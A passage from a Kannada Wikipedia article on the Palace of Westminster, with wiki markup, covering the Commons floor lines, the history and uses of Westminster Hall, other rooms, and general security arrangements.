ಬಗ್ಗೆ ಏನಾದರೂ ತಿಳಿದಿದೆಯಾ ಎಂದು ಕೇಳಿದಾಗ, ಲೆಂತಾಲ್ ಹೀಗೆಂದು ಉತ್ತರಿಸಿದರು: "ನಿಮಗೆ ಒಪ್ಪಿಗೆಯಾದರೆ, ನನಗೆ ಈ ಅರಮನೆಯಲ್ಲಿ ನೋಡುವ ಅಥವಾ ಮಾತನಾಡುವ ಯಾವುದೇ ಹಕ್ಕಿಲ್ಲ, ಆದರೆ ನಾನು ಸೇವಕನಾಗಿರುವ ಹೌಸ್‌ ಆಜ್ಞಾಪಿಸಿದಂತೆ ಹೇಳುತ್ತಿದ್ದೇನೆ."<ref>{{Cite news |title=Some predecessors kept their nerve, others lost their heads |last=Sparrow |first=Andrew |work=The Daily Telegraph |location=London |date=18 October 2000 |url=http://www.telegraph.co.uk/news/uknews/4790900/Some-predecessors-kept-their-nerve-others-lost-their-heads.html |accessdate=3 December 2009}}</ref> ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್‌ನ ನೆಲದ ಮೇಲಿನ ಎರಡು ಕೆಂಪು ಗೆರೆಗಳು {{Convert|2.5|m|ftin}}<ref name="Factsheet G11"/> ಅಂತರದಲ್ಲಿವೆ, ಅದು ಅಪಾಕ್ರಿಫದ ಬರಹದ ಉಲ್ಲೇಖಿತ ಹೇಳಿಕೆಗಳ ಪದ್ಧತಿಯಂತೆ ಎರಡು ಖಡ್ಗಗಳ-ಉದ್ದದಷ್ಟಿರಬೇಕೆಂದು ಉದ್ದೇಶಿಸಲಾಗಿತ್ತು. ಇದರ ಮೂಲ ಉದ್ದೇಶವು ಹೌಸ್‌ನ ವಿವಾದಗಳು ಘರ್ಷಣೆಯಾಗಿ ಬೆಳೆಯದಂತೆ ತಡೆಗಟ್ಟುವುದಾಗಿತ್ತೆಂದು ಹೇಳಲಾಗಿದೆ. ಆದರೆ ಸಂಸತ್ತಿನ ಸದಸ್ಯರಿಗೆ ಈ ಕೊಠಡಿಗೆ ಖಡ್ಗಗಳನ್ನು ತರಲು ಅವಕಾಶವಿತ್ತೇ ಎಂಬುದಕ್ಕೆ ಯಾವುದೇ ದಾಖಲೆಗಳಿಲ್ಲ; ಐತಿಹಾಸಿಕವಾಗಿ, ಕೇವಲ ಸೈನ್ಯದಲ್ಲಿನ ಸಾರ್ಜೆಂಟ್‌ರಿಗೆ ಮಾತ್ರ ಸಂಸತ್ತಿನಲ್ಲಿನ ಅವರ ಪಾತ್ರದ ಸಂಕೇತವಾಗಿ ಖಡ್ಗವನ್ನು ತೆಗೆದುಕೊಂಡು ಹೋಗಲು ಅನುಮತಿಸಲಾಗಿದೆ; ಮತ್ತು ಕೊಠಡಿಯನ್ನು ಪ್ರವೇಶಿಸುವುದಕ್ಕಿಂತ ಮೊದಲು ತಮ್ಮ ಖಡ್ಗಗಳನ್ನು ತೂಗುಹಾಕಲು MP ಗಳಿಗೆ ಸದಸ್ಯರ ಉಡುಪು-ಕೋಣೆಯಲ್ಲಿ ಗುಲಾಬಿ ಬಣ್ಣದ ರಿಬ್ಬನ್‌ನ ಕುಣಿಕೆಗಳಿವೆ. ಅನುಚರರು ಖಡ್ಗಗಳನ್ನು ತೆಗೆದುಕೊಂಡು ಬರುತ್ತಿದ್ದ ಸಂದರ್ಭದಲ್ಲಿ ಕೊಠಡಿಯಲ್ಲಿ ಯಾವುದೇ ಸಾಲಿನ ಗೆರೆಗಳಿರಲಿಲ್ಲ.<ref>{{Cite book |last1=Rogers |first1=Robert |last2=Walters |first2=Rhodri |title=How Parliament Works |edition=6th |year=2006 |origyear=1987 |publisher=Longman |isbn=978-1405832557 |page=14}}</ref><ref>{{Cite book |last=Rogers |first=Robert |title=Order! Order! A Parliamentary Miscellany |year=2009 |publisher=JR Books |location=London |isbn=978-1906779283 |page=27}}</ref> MPಗಳು ಭಾಷಣ ಮಾಡುವಾಗ ಆ ಗೆರೆಗಳನ್ನು ದಾಟಬಾರದೆಂದು ನಿಯಮಾವಳಿಗಳು ಸೂಚಿಸುತ್ತವೆ; ಈ ನಿಯಮವನ್ನು ಉಲ್ಲಂಘಿಸುವ ಸಂಸತ್ತಿನ ಸದಸ್ಯರು ವಿರೋಧ ಪಕ್ಷದ ಸದಸ್ಯರಿಂದ ತೀವ್ರವಾಗಿ ಖಂಡಿಸಲ್ಪಡುತ್ತಾರೆ. ಇತ್ತೀಚೆಗೆ ತಪ್ಪಾಗಿ ಹೆಚ್ಚುವರಿ ಗೆರೆಗಳನ್ನು ನೀಡಿದ ಇದನ್ನು "ಪಕ್ಷದ ನೀತಿಯನ್ನು ಅನುಸರಿಸಿ" ಎಂಬುದರ ಸಂಭಾವ್ಯ ಮೂಲವೆಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. === ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದ ಆವರಣ === [[ಚಿತ್ರ:Westminster Hall edited.jpg|thumb|upright|alt=Engraving|19 ನೇ ಶತಮಾನದ ಆರಂಭದಲ್ಲಿ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ]] ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ, ಈಗಲೂ ಇರುವ ಹಳೆಯ ಭಾಗ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣವನ್ನು ೧೦೯೭ರಲ್ಲಿ ನಿರ್ಮಿಸಲಾಯಿತು<ref>{{Cite journal |last1=Cescinsky |first1=Herbert |last2=Gribble |first2=Ernest R. |year=1922 |month=February |title=Westminster Hall and Its Roof |journal=The Burlington Magazine for Connoisseurs |volume=40 |issue=227 |pages=76–84 |id={{JSTOR|861585}}}} {{Subscription required}}</ref>, ಆ ಸಂದರ್ಭದಲ್ಲಿ ಇದು ಯುರೋಪಿನಲ್ಲೇ ಅತ್ಯಂತ ದೊಡ್ಡ ಸಭಾಂಗಣವಾಗಿತ್ತು. ಮೂರು ಹಜಾರಗಳನ್ನು ರಚಿಸುವಂತೆ ಚಾವಣಿಗೆ ಮೂಲತಃ ಸ್ತಂಭಗಳಿಂದ ಆಧಾರ ನೀಡಲಾಗಿತ್ತು. ಆದರೆ ರಾಜ ರಿಚರ್ಡ್ IIರ ಆಳ್ವಿಕೆಯ ಸಂದರ್ಭದಲ್ಲಿ, ಇದನ್ನು ರಾಜವಂಶದ ಬಡಗಿ ಹಘ್ ಹರ್ಲ್ಯಾಂಡ್ ಚಾಚು-ತೊಲೆಯ ಚಾವಣಿಯಾಗಿ ಬದಲಿಸಿದರು, 'ಮಧ್ಯಕಾಲೀನ ಮರದ-ವಾಸ್ತುಶಿಲ್ಪದ ಅತ್ಯಂತ ಶ್ರೇಷ್ಠ ರಚನೆ'ಯಾದ ಇದು ಆರಂಭದಲ್ಲಿದ್ದ ಮೂರು ಹಜಾರಗಳು ಕೊನೆಯಲ್ಲಿ ಒಂದು ವೇದಿಕೆಯೊಂದಿಗೆ ವಿಶಾಲವಾದ ತೆರೆದ ಸಭಾಂಗಣವಾಗಿ ಬದಲಾಗುವಂತೆ ಮಾಡಿತು. ಹೊಸ ಚಾವಣಿಯನ್ನು ೧೩೯೩ರಲ್ಲಿ ಸಿದ್ಧಗೊಳಿಸಿ ಸಮರ್ಪಿಸಲಾಯಿತು.<ref>[http://www.parliament.uk/about/living-heritage/building/palace/westminsterhall/architecture/the-hammer-beam-roof-/ ]</ref> ರಿಚರ್ಡ್‌ರ ವಾಸ್ತುಶಿಲ್ಪಿ ಹೆನ್ರಿ ಯೆವೆಲೆಯು ಮೂಲತಃ ಆಯಾಮಗಳನ್ನು ಬಿಟ್ಟು, ಗೂಡಿನ ಪೀಠದಲ್ಲಿ ಇಟ್ಟ ರಾಜರ ಸಹಜಗಾತ್ರದ ಹದಿನೈದು ಬೃಹತ್ ಪ್ರತಿಮೆಗಳಿಂದ ಗೋಡೆಗಳಿಗೆ ಹೊಸರೂಪಕೊಟ್ಟರು.<ref>ಜೊನಾತನ್ ಅಲೆಗ್ಸಾಂಡರ್ ಅಂಡ್ ಪೌಲ್ ಬಿನ್ಸ್ಕಿ (eds), ''ಏಜ್ ಆಫ್ ಷಿವಲ್ರಿ, ಆರ್ಟ್ ಇನ್ ಪ್ಲ್ಯಾಂಟೆಗ್ನೆಟ್ ಇಂಗ್ಲೆಂಡ್, ೧೨೦೦–೧೪೦೦'' , pp. ೫೦೬–೫೦೭, ರಾಯಲ್ ಅಕಾಡಮಿ/ವೈಡೆನ್ ಫೆಲ್ಡ್ ಅಂಡ್ ನಿಕೊಲಸನ, ಲಂಡನ್೧೯೮೭. ಅದರೊಳಗಿನ ಕೇವಲ ಆರು ಮೂರ್ತಿಗಳು ಮಾತ್ರ ಹಾನಿಗೊಳಗಾಗಿವೆ, ಹಾಗು ಉಳಿದಿರುವವುನ್ನು ಮತ್ತು ಡೈಸ್ ಅನ್ನು ಹೊಸದಾಗಿ ರೂಪಿಸಲಾಗಿದೆ, ಆದರೆ ಇದನ್ನು ಹೊರತುಪಡಿಸಿ ಸಭಾಂಗಣವು ರಿಚರ್ಡ್ ಮತ್ತು ಆತನ ವಾಸ್ತುಯೋಜಕ ಹೆನ್ರಿ ಯೆವೆಲೆ ಬಿಟ್ಟುಹೋದಂತೆಯೇ ಉಳಿದುಕೊಂಡಿದೆ.</ref> ಪುನರ್ವ್ಯವಸ್ಥೆಗೊಳಿಸುವ ಕಾರ್ಯವನ್ನು ೧೨೪೫ರಲ್ಲಿ ರಾಜ ಹೆನ್ರಿ&nbsp;III ಆರಂಭಿಸಿದರು, ಆದರೆ ಇದು ರಿಚರ್ಡ್‌ರ ಆಳ್ವಿಕೆಯ ಅವಧಿಯವರೆಗೆ ಸುಮಾರು ಒಂದು ಶತಮಾನದಷ್ಟು ಕಾಲ ನಿಷ್ಕ್ರಿಯವಾಗಿತ್ತು. ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣವು {{Convert|20.7|by|73.2|m|ft}} ಅಳತೆಯ, ಇಂಗ್ಲೆಂಡ್‌ನಲ್ಲೇ ಅತ್ಯಂತ ದೊಡ್ಡ ಮಧ್ಯಕಾಲೀನ ಅಗಲಳತೆಯ ವಿಸ್ತಾರದ ಚಾವಣಿ ಹೊಂದಿದೆ.<ref name="Factsheet G11"/> ಈ ಚಾವಣಿಗೆ ಬಳಸಿದ ಓಕ್ ಮರಗಳನ್ನು ಹ್ಯಾಂಪ್ಶೈರ್‌ನ ರಾಜರ ಕಾಲದ ಅರಣ್ಯಗಳಿಂದ, ಹರ್ಟ್‌ಫೋರ್ಡ್ಶೈರ್ ಮತ್ತು ಸುರ್ರೆಯ ಪಾರ್ಕ್‌ಗಳಿಂದ ಮತ್ತು ಇತರ ಮೂಲಗಳಿಂದ ತೆಗೆದುಕೊಂಡುಬರಲಾಗಿದೆ; ಅವನ್ನು {{Convert|56|km|mi}} ದೂರದಲ್ಲಿ ಸುರ್ರೆಯ ಫರ್ನ್ಹ್ಯಾಮ್‌ನ ಹತ್ತಿರ ಒಟ್ಟುಗೂಡಿಸಲಾಗಿತ್ತು.<ref>ಗೆರ್ ಹೋಲ್ಡ್ (೧೯೯೯), pp. ೧೯–೨೦.</ref> ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದ ಹೊರೆಗಾಡಿಗಳು ಮತ್ತು ಸರಕು-ದೋಣಿಗಳು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ಗೆ ಜೋಡಿಸಿದ ದಿಮ್ಮಿಗಳನ್ನು ಸಾಗಿಸಿದವೆಂದು ದಾಖಲೆಗಳು ಹೇಳುತ್ತವೆ.<ref>{{Cite book |last=Salzman |first=LF |title=Building in England down to 1540 |year=1992 |publisher=Oxford University Press, USA |isbn=978-0198171584}}</ref> ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿ ಅಸಂಖ್ಯಾತ ಕಾರ್ಯಕ್ರಮಗಳು ನಡೆಯುತ್ತವೆ. ಇದನ್ನು ಆರಂಭದಲ್ಲಿ ನ್ಯಾಯಸ್ಥಾನದ ಉದ್ದೇಶಗಳಿಗೆ ಬಳಸಲಾಗುತ್ತಿತ್ತು, ಇಲ್ಲಿ ಪ್ರಮುಖ ಮೂರು ನ್ಯಾಯಸಭೆಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತಿತ್ತು: ಕೋರ್ಟ್ ಆಫ್ ಕಿಂಗ್ಸ್ ಬೆಂಚ್, ಕೋರ್ಟ್ ಆಫ್ ಕಾಮನ್ ಪ್ಲೀಯ್ಜ್ ಮತ್ತು ಕೋರ್ಟ್ ಆಫ್ ಚಾನ್ಸೆರಿ. ಈ ನ್ಯಾಯಸಭೆಗಳು ೧೮೭೫ರಲ್ಲಿ ಹೈಕೋರ್ಟ್ ಆಫ್ ಜಸ್ಟಿಸ್ ಒಂದಿಗೆ ಸೇರಿದವು. ಇದು ೧೮೮೨ರಲ್ಲಿ ರಾಯಲ್ ಕೋರ್ಟ್ಸ್ ಆಫ್ ಜಸ್ಟಿಸ್‌ಗೆ ಸರಿಯುವರೆಗೆ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿಯೇ ಸೇರುವುದನ್ನು ಮುಂದುವರಿಸಿತು.<ref>{{Cite web |url=http://www.hmcourts-service.gov.uk/infoabout/rcj/history.htm |title=Royal Courts of Justice visitors guide |publisher=[[Her Majesty's Courts Service]] |accessdate=16 May 2010}}</ref> ನಿಯತ ನ್ಯಾಯಸಭೆಗಳಿಗೆ ಹೆಚ್ಚುವರಿಯಾಗಿ, ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣವು ಪ್ರಮುಖ ನ್ಯಾಯಾಂಗ ವಿಚಾರಣೆಗಳನ್ನೂ ನಡೆಸಿತು, ಅವುಗಳೆಂದರೆ ಇಂಗ್ಲಿಷ್ ನಾಗರಿಕ ಕದನದ ಅಂತ್ಯದಲ್ಲಿನ ರಾಜ ಚಾರ್ಲ್ಸ್&nbsp;I, ಸರ್ ವಿಲಿಯಂ ವ್ಯಾಲ್ಲೇಸ್, ಸರ್ ಥೋಮಸ್ ಮೋರ್, ಕಾರ್ಡಿನಲ್ ಜಾನ್ ಫಿಶರ್, ಗೇ ಫೇಕ್ಸ್, ಅರ್ಲ್ ಆಫ್ ಸ್ಟ್ರಾಫರ್ಡ್, ೧೭೧೫ರ ದಂಗೆಕೋರ ಸ್ಕಾಟಿಶ್ ಲಾರ್ಡ್ಸ್‌ರ ದೋಷಾರೋಪಣೆ ನ್ಯಾಯಾಂಗ ವಿಚಾರಣೆ ಮತ್ತು ರಾಜ್ಯ ನ್ಯಾಯಾಂಗ ವಿಚಾರಣೆಗಳು ಮತ್ತು ೧೭೪೫ರ ದಂಗೆಗಳು ಹಾಗೂ ವಾರೆನ್ ಹೇಸ್ಟಿಂಗ್ಸ್. [[ಚಿತ್ರ:George IV coronation banquet.jpg|thumb|left|alt=Painting|1821 ರಲ್ಲಿ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿ ನಡೆದ ಜಾರ್ಜ್ IV ರ ಪಟ್ಟಾಭಿಷೇಕದ ಕೊನೆಯ ಔತಣಕೂಟ.]] ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿ ಔಪಚಾರಿಕ ಉತ್ಸವ ಮತ್ತು ಸಮಾರಂಭಗಳನ್ನೂ ನಡೆಸಲಾಗಿದೆ. ಹನ್ನೆರಡರಿಂದ ಹತ್ತೊಂಭತ್ತನೇ ಶತಮಾನದವರೆಗೆ, ಇಲ್ಲಿ ಹೊಸ ರಾಜರನ್ನು ಗೌರವಿಸುವ ಪಟ್ಟಾಭಿಷೇಕದ ಔತಣ-ಕೂಟಗಳನ್ನು ನಡೆಸಲಾಗಿತ್ತು. ಆಗ ೧೮೨೧ರಲ್ಲಿ ನೆರವೇರಿದ ರಾಜ ಜಾರ್ಜ್&nbsp;IVರ ಪಟ್ಟಾಭಿಷೇಕದ ಔತಣ-ಕೂಟವೇ ಕೊನೆಯದಾಗಿದೆ;<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/westminsterhall/other-uses/coronation-banquets/ |title=Westminster Hall: Coronation Banquets |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ಆತನ ಉತ್ತರಾಧಿಕಾರಿ ವಿಲಿಯಂ IV ಇದು ತುಂಬಾ ದುಬಾರಿಯಾದುದೆಂದು ಭಾವಿಸಿದ್ದರಿಂದ ರದ್ದುಗೊಳಿಸಿದರು. ಈ ಸಭಾಂಗಣವನ್ನು ಸರ್ಕಾರಿ ಮತ್ತು ಕರ್ಮಾಚರಣೆಗಳಿಂದ ಕೂಡಿದ ಶವಸಂಸ್ಕಾರಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಅಂತಿಮ-ದರ್ಶನಕ್ಕಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಅಂತಹ ಗೌರವವು ಸಾಮಾನ್ಯವಾಗಿ ರಾಜರು ಮತ್ತು ಅವರ ಸಂಗಾತಿಗಳಿಗೆ ಮೀಸಲಾಗಿರುತ್ತದೆ; ಇಪ್ಪತ್ತನೇ ಶತಮಾನದಲ್ಲಿ ಇದನ್ನು ಸ್ವೀಕರಿಸಿದ ರಾಜವಂಶಕ್ಕೆ ಸೇರದವರೆಂದರೆ ಫ್ರೆಡೆರಿಕ್ ಸ್ಲೈಗ್ ರಾಬರ್ಟ್ಸ್, ೧ನೇ ಅರ್ಲ್ ರಾಬರ್ಟ್ಸ್ (೧೯೧೪) ಮತ್ತು ಸರ್ ವಿಂಸ್ಟನ್ ಚರ್ಚಿಲ್ (೧೯೬೫). ಈ ಹಿಂದೆ ೨೦೦೨ರಲ್ಲಿ ನಡೆದ ರಾಣಿ ಎಲಿಜಬೆತ್, ದಿ ಕ್ವೀನ್ ಮದರ್‌ರ ಅಂತಿಮ-ದರ್ಶನವು ಇತ್ತೀಚಿನದಾಗಿದೆ. ಎರಡು ಸದನಗಳು ಪ್ರಮುಖ ಸಾರ್ವಜನಿಕ ಸಮಾರಂಭಗಳಂದು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿ ರಾಜರನ್ನು ಉದ್ದೇಶಿಸಿ ಔಪಚಾರಿಕ ಭಾಷಣಗಳನ್ನು ಪ್ರದರ್ಶಿಸಿದವು. ಉದಾಹರಣೆಗಾಗಿ, [[ಎರಡನೇ ಎಲಿಜಬೆಥ್|ಎಲಿಜಬೆತ್ II]]ರ ರಜತ ಮಹೋತ್ಸವ (೧೯೭೭) ಮತ್ತು ಚಿನ್ನದ ಮಹೋತ್ಸವ (೨೦೦೨), ಪ್ರಸಿದ್ಧ ಕ್ರಾಂತಿಯ ೩೦೦ನೇ ವಾರ್ಷಿಕೋತ್ಸವ (೧೯೮೮) ಮತ್ತು ಎರಡನೇ ವಿಶ್ವ ಸಮರದ ಅಂತ್ಯದ ಹದಿನೈದನೇ ವಾರ್ಷಿಕೋತ್ಸವದ (೧೯೯೫) ಸಂದರ್ಭದಲ್ಲಿ ನಡೆದ ಭಾಷಣಗಳು. ಆಗ ೧೯೯೯ರಲ್ಲಿ ಮಾಡಿದ ಸುಧಾರಣೆಗಳಡಿಯಲ್ಲಿ, ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದ ಪಕ್ಕದಲ್ಲಿರುವ ಗ್ರ್ಯಾಂಡ್ ಕಮಿಟಿ ಕೊಠಡಿಯನ್ನು ಹೆಚ್ಚುವರಿ ಚರ್ಚಾ ಕೋಣೆಯಾಗಿ ಬಳಸುತ್ತದೆ. (ಮುಖ್ಯ ಸಭಾಂಗಣದ ಭಾಗವಲ್ಲದಿದ್ದರೂ, ಈ ಕೊಠಡಿಯನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಅದರ ಭಾಗವೆಂದೇ ಹೇಳಲಾಗುತ್ತದೆ). ಇಲ್ಲಿನ ಆಸನ-ವ್ಯವಸ್ಥೆಯನ್ನು ಯು-ಆಕಾರದಲ್ಲಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸಲಾಗಿದೆ, ಇದು ಬೆಂಚುಗಳನ್ನು ಪರಸ್ಪರ ವಿರುದ್ಧವಾಗಿ ಇರಿಸಲಾದ ಮುಖ್ಯ ಕೊಠಡಿಗಿಂತ ಭಿನ್ನವಾಗಿದೆ. ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿ ನಡೆಯುವ ಚರ್ಚೆಗಳ ನಿಷ್ಪಕ್ಷಪಾತ ತೆಯ ಲಕ್ಷಣವನ್ನು ಪ್ರತಿಬಿಂಬಿಸಲು ಈ ರೀತಿ ಮಾಡಲಾಗಿದೆ. ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದ ಅಧಿವೇಶನವು ಪ್ರತಿ ವಾರಕ್ಕೆ ಮೂರು ಬಾರಿ ನಡೆಯುತ್ತದೆ; ವಿವಾದಾತ್ಮಕ ವಿಷಯಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಚರ್ಚಿಸಲಾಗುವುದಿಲ್ಲ. === ಇತರ ಕೊಠಡಿಗಳು === {{Main|House of Commons Library}} ನದಿಯ ಆಯಕಟ್ಟಿನ ಜಾಗದಲ್ಲಿ ಪ್ರಧಾನ ಅಂತಸ್ತಿನಲ್ಲಿ ಎರಡು ಗ್ರಂಥಾಲಯಗಳಿವೆ; ಅವುಗಳೆಂದರೆ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಗ್ರಂಥಾಲಯ ಮತ್ತು ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಗ್ರಂಥಾಲಯ. ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯು ಎರಡು ಹೌಸ್‌ಗಳ ಮೇಲ್ವಿಚಾರಣೆ ನೋಡಿಕೊಳ್ಳುವ ಅಧಿಕಾರಿಗಳ ವೈಭವದ ವಸತಿ ವಿಭಾಗಗಳನ್ನೂ ಒಳಗೊಳ್ಳುತ್ತದೆ. ಸ್ಪೀಕರ್‌ರ ಅಧಿಕೃತ ನಿವಾಸವು ಅರಮನೆಯ ಉತ್ತರದ ಕೊನೆಯಲ್ಲಿದೆ; ಲಾರ್ಡ್ ಚಾನ್ಸಲರ್‌ನ ನಿವಾಸಗಳ ವಿಭಾಗವು ದಕ್ಷಿಣದ ಕೊನೆಯಲ್ಲಿದೆ. ಪ್ರತಿ ದಿನ ಸ್ಪೀಕರ್ ಮತ್ತು ಲಾರ್ಡ್ ಸ್ಪೀಕರ್ ಅವರ ವಿಭಾಗದಿಂದ ಅವರ ಅನುಕ್ರಮ ಕೊಠಡಿಗಳವರೆಗೆ ನಡೆಯುವ ಸಾಂಪ್ರದಾಯಿಕ ಮೆರವಣಿಗೆಗಳಲ್ಲಿ ಭಾಗವಹಿಸುತ್ತಾರೆ.<ref>{{Cite web |url=http://news.bbc.co.uk/2/hi/uk_news/politics/82047.stm |title=Speaker's procession |date=30 October 2008 |publisher=BBC News |accessdate=21 May 2010}}</ref><ref>{{Cite web |url=http://www.publications.parliament.uk/pa/ld/ldcomp/ldctso05.htm#a23 |title=Companion to the Standing Orders and guide to the Proceedings of the House of Lords |date=19 February 2007 |publisher=UK Parliament |accessdate=21 May 2010}}</ref> ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯಲ್ಲಿ ಹಲವಾರು ಬಾರ್‌ಗಳು, ಸ್ವ ಸಹಾಯದ ಕ್ಯಾಫಿಟೀರಿಯಗಳು ಮತ್ತು ರೆಸ್ಟಾರೆಂಟುಗಳಿವೆ. ಅವುಗಳ ಸೌಕರ್ಯಗಳನ್ನು ಬಳಸಲು ಅನುಮತಿ ಪಡೆಯುವವರ ಆಧಾರದಲ್ಲಿ ನಿಯಮಗಳು ಬದಲಾಗುತ್ತವೆ; ಇವುಗಳಲ್ಲಿ ಹೆಚ್ಚಿನವು ಹೌಸ್‍‌ನ ಅಧಿವೇಶನ ನಡೆಯುತ್ತಿರುವಾಗ ಮುಚ್ಚುವುದಿಲ್ಲ.<ref>{{Cite web |url=http://www.parliament.uk/documents/commons-information-office/g19.pdf |title=The House of Commons Refreshment Department |year=2003 |month=September |format=PDF |publisher=House of Commons Information Office |accessdate=5 August 2010}}</ref> ಅಲ್ಲಿ ಒಂದು ವ್ಯಾಯಾಮಶಾಲೆ ಮತ್ತು ಕೇಶ ವಿನ್ಯಾಸದ ಸಲೂನು ಸಹ ಇದೆ; ಅಲ್ಲಿದ್ದ ಬಂದೂಕು ಶಿಕ್ಷಣ ವಲಯದ ಕೇಂದ್ರವು ೧೯೯೦ರ ದಶಕದಲ್ಲಿ ಮುಚ್ಚಲ್ಪಟ್ಟಿತು.<ref>{{Cite web |url=http://www.nra.org.uk/common/asp/content/content.asp?site=NRA&type=8 |title=National Rifle Association of the UK – Death of Lord Swansea |date=9 July 2005 |accessdate=15 January 2010 |archive-date=15 ಜನವರಿ 2009 |archive-url=https://web.archive.org/web/20090115022057/http://www.nra.org.uk/common/asp/content/content.asp?site=NRA&type=8 |url-status=dead }}</ref> ಸಂಸತ್ತು ಒಂದು ಸ್ಮರಣ ಸಂಚಿಕೆಗಳ ಮಾರಾಟದ ಅಂಗಡಿ ವಿಭಾಗವನ್ನೂ ಹೊಂದಿದೆ.ಅಲ್ಲಿ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಕೀಲಿಕೈ-ಉಂಗುರ ಮತ್ತು ಪಿಂಗಾಣಿ ಸರಕುಗಳಿಂದ ಹಿಡಿದು ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಷಾಂಪೇನಿನವರೆಗೆ ಎಲ್ಲಾ ವಸ್ತುಗಳು ಮಾರಾಟವಾಗುತ್ತವೆ. == ಭದ್ರತೆ == [[ಚಿತ್ರ:National.security.parliament.arp.750pix.Clean.jpg|thumb|alt=Photograph|ಹಳೆಯ ಅರಮನೆ ಅಂಗಳಕ್ಕೆ ಪ್ರವೇಶಿಸದಂತೆ ತಡೆಯುವ ಕಾಂಕ್ರೀಟ್ ಪ್ರತಿಬಂಧಕಗಳು]] ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಗಾಗಿ ಇರುವ ಜೆಂಟಲ್ಮೆನ್ ಅಷರ್ ಆಫ್ ದಿ ಬ್ಲ್ಯಾಕ್ ರಾಡ್ ಮೇಲ್ವಿಚಾರಣೆಯ ಭದ್ರತೆ ಮತ್ತು ಸಾರ್ಜಂಟ್ ಅಟ್ ಆರ್ಮ್ಸ್(ವ್ಯವಸ್ಥೆಯನ್ನು ಕಾಪಾಡುವ ಕರ್ತವ್ಯ ಭಾರವಿರುವ, ವಿಧಾನಸಭೆಯ ಅಧಿಕಾರಿ) ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಗಾಗಿಯೂ ಅದೇ ಭದ್ರತಾ ಕಾರ್ಯ ಮಾಡುತ್ತಾರೆ. ಈ ಅಧಿಕಾರಿಗಳು ಮೂಲತಃ ಅವರವರ ಹೌಸ್ ನ ಸಭಾಂಗಣಗಳ ಹೊರಗೆ ಔಪಚಾರಿಕ ನಿಯಮಗಳನ್ನು ಹೊಂದಿರುತ್ತಾರೆ. ಭದ್ರತೆಯು, ಮೆಟ್ರಪಾಲಿಟನ್ ಪೋಲಿಸ್ ಪಡೆಯ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ವಿಭಾಗದ ಜವಾಬ್ದಾರಿಯಾಗಿರುತ್ತದೆ. ಇದು ಗ್ರೇಟರ್ ಲಂಡನ್ ಕ್ಷೇತ್ರಕ್ಕಿರುವ ಪೋಲಿಸ್ ಪಡೆಯಾಗಿದೆ. ಸಂಪ್ರದಾಯವು ಶಸ್ತ್ರಾಸ್ತ್ರಗಳನ್ನು ಹೊಂದಿರುವ ಕಾಮನ್ಸ್ ಕೊಠಡಿಯನ್ನು, ಕೇವಲ ಸಾರ್ಜಂಟ್ ಅಟ್ ಆರ್ಮ್ಸ್ ಅಧಿಕಾರಿ ಮಾತ್ರ ಪ್ರವೇಶಿಸಬಹುದಾಗಿದೆ ಎಂದು ನಿರ್ದೇಶಿಸುತ್ತದೆ. ಪೂರ್ತಿಯಾಗಿ ಸ್ಫೋಟಕಗಳನ್ನು ತುಂಬಿಕೊಂಡ [[wikt:lorry|ಲಾರಿ]]ಯನ್ನು ಕಟ್ಟಡದ ಕಡೆಗೆ ಕೊಂಡೊಯ್ಯಬಹುದಾದ ಸಾಧ್ಯತೆಯ ಬಗ್ಗೆ ಉಂಟಾದ ಆತಂಕದೊಂದಿಗೆ, ೨೦೦೩ ರಲ್ಲಿ ಸಂಚಾರ ಮಾರ್ಗದಲ್ಲಿ ಕಾಂಕ್ರೀಟ್ ಕಲ್ಲುಗಳನ್ನು ಹಾಕಲಾಯಿತು.<ref>{{Cite news |title=Security tightens at Parliament |publisher=BBC News |date=23 May 2003 |url=http://news.bbc.co.uk/2/hi/2931044.stm |accessdate=3 December 2009}}</ref> ನದಿಯ ಮೇಲೆ, ತೀರದ ನಿರ್ಗಮನಗಳಿಂದ {{Convert|70|m|yd}} 